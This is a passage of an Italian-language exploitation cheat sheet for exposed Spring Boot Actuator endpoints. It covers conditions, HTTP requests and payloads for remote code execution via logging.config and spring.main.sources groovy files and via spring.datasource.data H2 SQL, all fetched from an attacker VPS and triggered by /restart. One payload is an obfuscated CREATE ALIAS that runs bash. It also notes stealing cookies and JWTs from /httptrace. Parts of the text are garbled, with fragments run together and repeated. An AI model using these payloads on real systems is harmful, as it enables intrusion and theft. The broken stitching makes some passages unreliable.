5. La macchina target richiede il server JNDI malevolo, causando un'iniezione JNDI, che porta a una vulnerabilità RCE
#### Analisi della vulnerabilità:
[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
https://landgrey.me/blog/21/
#### Ambiente della vulnerabilità:
[repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
Accesso normale:```
http://127.0.0.1:9098/actuator/env
/env del sito target per impostare proprietà/restart del sito target per riavviare l'applicazioneAvviare un semplice server HTTP su una macchina VPS controllata, utilizzando possibilmente porte comuni per servizi HTTP (80, 443)```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
Nella directory root posiziona un file che termina con `groovy`, come `example.groovy`, il cui contenuto è il codice Groovy da eseguire, ad esempio:```xml
Runtime.getRuntime().exec("open -a Calculator")
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
logging.config=http://your-vps-ip/example.groovy
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"logging.config","value":"http://your-vps-ip/example.groovy"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/restart
Content-Type: application/json
logging.config.ch.qos.logback.classic.util.ContextInitializer.java del componente logback-classic, la logica verifica se l'URL termina con groovy.groovy, viene eseguito il codice Groovy contenuto nel file, causando una vulnerabilità RCE.repository/springboot-restart-rce
Accesso normale:``` http://127.0.0.1:9098/actuator/env
### 0x0B:restart spring.main.sources groovy RCE
#### Condizioni di sfruttamento:
- È possibile inviare una richiesta POST all'endpoint `/env` del sito target per impostare le proprietà
- È possibile inviare una richiesta POST all'endpoint `/restart` del sito target per riavviare l'applicazione
- ⚠️ Il target deve essere in grado di contattare il server HTTP dell'attaccante (le richieste devono poter uscire verso la rete esterna), altrimenti il restart causerà un'uscita anomala del programma
- ⚠️ Se il server HTTP restituisce un file con sintassi groovy malformata, ciò causerà un'uscita anomala del programma
- ⚠️ L'ambiente deve contenere la dipendenza groovy, altrimenti causerà un'uscita anomala del programma
#### Metodo di sfruttamento:
##### Passo 1: Ospitare il file groovy
Sulla propria macchina VPS controllata, avviare un semplice server HTTP, utilizzando possibilmente porte di servizio HTTP comuni (80, 443)```bash
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
Posiziona nella directory principale un file example.groovy che termina con groovy, il cui contenuto è il codice Groovy da eseguire, ad esempio:```xml
Runtime.getRuntime().exec("open -a Calculator")
##### Passo 2: Imposta la proprietà spring.main.sources
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
spring.main.sources=http://your-vps-ip/example.groovy
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"spring.main.sources","value":"http://your-vps-ip/example.groovy"}
##### Fase 3: riavviare l'applicazione
spring 1.x```
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/restart Content-Type: application/json
#### Principio della vulnerabilità:
1. La macchina target può impostare l'URL di fonti aggiuntive per creare `ApplicationContext` tramite la proprietà `spring.main.sources`
2. Dopo il riavvio (restart), il programma richiederà l'URL impostato
3. Nel componente `spring-boot`, la logica del file `org.springframework.boot.BeanDefinitionLoader.java` verifica se l'URL termina con `.groovy`
4. Se l'URL termina con `.groovy`, verrà eseguito il codice groovy contenuto nel file, causando una vulnerabilità RCE
#### Ambiente della vulnerabilità:
[repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
Accesso normale:```
http://127.0.0.1:9098/actuator/env
/env del sito target per impostare proprietà/restart del sito target per riavviare l'applicazioneh2database e spring-boot-starter-data-jpaAvviare un semplice server HTTP sulla propria macchina VPS controllata, utilizzando preferibilmente porte comuni per servizi HTTP (80, 443)```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
Inserisci un file con un nome arbitrario nella directory principale, il cui contenuto sia il codice SQL h2 da eseguire, ad esempio:
> ⚠️ Il metodo 'T5' nel payload sottostante può essere eseguito solo una volta con restart; per i successivi restart è necessario cambiare il nome del metodo (ad esempio T6) e impostare un nuovo URL SQL, altrimenti al secondo riavvio dell'applicazione si verificherà un'uscita anomala del programma.```xml
CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.data=http://your-vps-ip/example.sql
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.data","value":"http://your-vps-ip/example.sql"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/restart
Content-Type: application/json
spring.datasource.dataspring-boot-autoconfigure, il file org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java utilizza il metodo runScripts per eseguire il codice SQL del database h2 contenuto nella richiesta URL, causando una vulnerabilità RCErepository/springboot-restart-rce
Accesso normale:``` http://127.0.0.1:9098/actuator/env
| spring-boot-dependencies |
| spring-cloud-dependencies | spring-cloud-dependencies |
| Versione maggiore di Spring Cloud | Versione di Spring Boot |
|---|
| Angel | Compatibile con Spring Boot 1.2.x |
| Brixton | Compatibile con Spring Boot 1.3.x, 1.4.x |
| Camden | Compatibile con Spring Boot 1.4.x, 1.5.x |
| Dalston | Compatibile con Spring Boot 1.5.x, non compatibile con 2.0.x |
| Edgware | Compatibile con Spring Boot 1.5.x, non compatibile con 2.0.x |
| Finchley | Compatibile con Spring Boot 2.0.x, non compatibile con 1.5.x |
| Greenwich | Compatibile con Spring Boot 2.1.x |
| Hoxton | Compatibile con Spring Boot 2.2.x |
| MX |
| Versione milestone |
| RCX | Versione candidata al rilascio |
| RELEASE | Versione di rilascio ufficiale |
| SRX | Versione di rilascio ufficiale (con correzioni di bug e bug fix) |
/restart/jolokia、/actuator/jolokia
È possibile utilizzare l'endpoint /jolokia/list per trovare MBean sfruttabili, innescare indirettamente vulnerabilità RCE, ottenere in chiaro informazioni sensibili mascherate con asterischi, ecc.
/trace、/actuator/httptrace
Informazioni di tracciamento delle richieste HTTP; in esse potrebbero essere scoperti dettagli sulle richieste di applicazioni interne, nonché cookie di utenti o amministratori validi, token JWT, ecc.